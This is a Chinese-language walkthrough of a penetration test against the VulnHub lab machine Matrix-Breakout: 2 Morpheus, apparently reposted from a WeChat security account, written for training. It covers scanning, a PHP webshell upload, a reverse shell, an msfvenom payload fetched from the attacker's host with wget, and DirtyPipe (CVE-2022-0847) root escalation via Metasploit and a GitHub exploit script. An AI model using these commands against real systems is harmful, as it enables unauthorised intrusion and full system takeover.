前言
1.1. 下载安装
下载地址:
https://www.vulnhub.com/entry/matrix-breakout-2-morpheus,757/
选择镜像文件进行下载,下载后解压是一个ova文件,在虚拟机中选择-打开虚拟机,选择此文件,然后修改系统网卡为NAT,在高级选项中注意网卡的MAC地址,方便后续查出本机IP。
1.2. 文件信息
MD5 :610A65443B11D2929E848BAA1899CCFB
SHA1:2E5AF8A2482E83E55B3AE8684EB14C7189680D78
1.3. 注意事项
若未能使用相关软件探测出IP地址,需要重新配置。
1. 设置虚拟机网络为 NAT 模式
在 VMware 中,将 KaliLinux 和 靶机 都设置为 NAT 模式,以确保它们能通过宿主机共享网络连接。
2. 启动靶机并进入单用户
模式启动靶机,在出现蓝色引导界面时,按下 e 键进入编辑模式。
3. 修改启动参数
在编辑界面中,找到并修改启动项,将包含的 ro(只读)修改为 rw(读写),并且在参数末尾添加 init=/bin/bash,使其进入单用户模式。这样修改后,按下 Ctrl + X 启动系统。
4. 查看网络状态
进入单用户模式后,使用 ifconfig 命令查看网络状况,发现系统提示 ifconfig 命令不可用。切换使用 ip address 命令来查看网络接口的状态。
5. 修改网卡名称
发现网络接口的名称为 enp0s3,需要将其修改为 ens33。
进入网络配置文件进行修改:bash复制代码vi /etc/network/interfaces
(路径记忆方法:/etc 配置文件部分 -> network 部分 -> interfaces 配置文件部分 -> 网络接口部分)
6. 保存并退出
在vi编辑器中,修改完成后按 Esc 键,输入 :wq 保存并退出。
注意:在vi编辑器中,删除字符时只能使用 Delete 键,Backspace 键只能移动光标,不能删除字符。与 vim 类似,但操作起来可能稍显不便。
7. 重启网络服务
修改网络配置后,重启网络服务:bash复制代码/etc/init.d/networking restart
8. 检查 IP 配置
再次使用 ip address 命令查看,确认网络接口已分配到正确的 IP 地址。
9. 完成配置并重启系统完成网络配置后,进行系统关机并重启。
注意:必须关机重启,而不是仅仅重启网络服务,因为有些端口可能尚未打开,只有重启系统后,端口才会完全生效。
目标
获取靶机ROOT权限。
渗透测试步骤
3.1. 信息收集
3.1.1. 确定IP地址
使用nmap进行扫描,确定靶场IP地址为:192.168.241.129(MAC地址:00:0C:29:0F:25:1E)。
nmap -sP 192.168.241.0/24
3.1.2. 端口扫描
通过nmap扫描,发现开放22、80、81端口,并探测出相关版本信息。
nmap -sV -v -T4 -A192.168.241.129
3.1.3. 网站访问
访问80端口,发现以下信息。
访问81端口,发现登录地址。
3.1.4. 目录扫描
扫描80端口,扫描出的信息,经过访问并没有实质性可用资料。
kali Linux安装gobuster,进行扫描。
gobuster dir -u http://192.168.241.129 -x php,txt,jsp,asp -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
访问graffiti.php,发现可以输入消息,随便输入一段话试试。
发布成功,输入信息显示到页面。同时也在graffiti.txt地址中发现。
3.2. 漏洞利用
通过抓包可以发现,上传文件,是将输入的消息指定上传到grafiti.txt文件内。
至此,我们可以上传一句话木马,并传入到新的文件。
3.2.1. 文件上传
通过上传一句话木马到shell.php文件内,并进行蚁剑链接。
3.2.2. 查找可利用信息
在根目录发现FLAG.txt文件信息。
对文件信息进行翻译。
同时在html文件夹,发现这张图片。
将图片下载,使用工具查看。
3.2.3. 图片信息提取
使用binwalk提取图片资料。
binwalk -e .cypher-neo.png --run-as=root
经过查阅提取信息,发现并没有什么用处。
3.2.4. 反弹shell
输入IP地址和端口,生成反向shell命令。
使用蚁剑上传至网站目录。
访问FD.php文件,反弹shell成功。
使用Python创建一个伪终端
python3 -c "import pty;pty.spawn('/bin/bash')"
3.3. 权限提升
蚁剑连接后,在虚拟终端命令行中发现该系统Linux版本是5.10。众所周知,这个版本有dirtypipe漏洞可利用。
3.3.1. 使用msf进行提权
打开msf,寻找dirtypipe漏洞。
msfconsole
search dirtypipe
use 0
show options
使用msfvenom生成反向连接payload。
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.241.138 lport=4444 -f elf >~/payload.elf
kali Linux 开启http服务。
python -m http.server 6654
在靶机下载payload.elf文件。
wget http://192.168.241.138:6654/payload.elf
可以发现,该文件未有执行权限。
对该文件设置可执行权限。
msf设置参数。
执行payload.elf文件,msf监听成功。
后台运行,生成session ID。
利用exp。
use linux/local/cve_2022_0847_dirtypipe
设置session和LHOST,执行。
获得root权限。
切换到root文件夹,查看FLAG.txt,结束!
3.3.2. 上传CVE-2022-0847漏洞文件提权
通过网络查找,发现有CVE-2022-0847漏洞可利用进行权限提升。
上传linpeas.sh文件,并赋予可执行权限。
执行此文件。
发现可以利用的漏洞编号。
根据CVE编号在github下载exp利用。
git clone https://github.com/imfiver/CVE-2022-0847.git
cd CVE-2022-0847
chmod 777 Dirty-Pipe.sh
bash Dirty-Pipe.sh
完结,以获取到靶机ROOT权限。
原文始发于微信公众号(暗魂攻防实验室):【渗透测试】Matrix-Breakout: 2 Morpheus靶场渗透测试
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论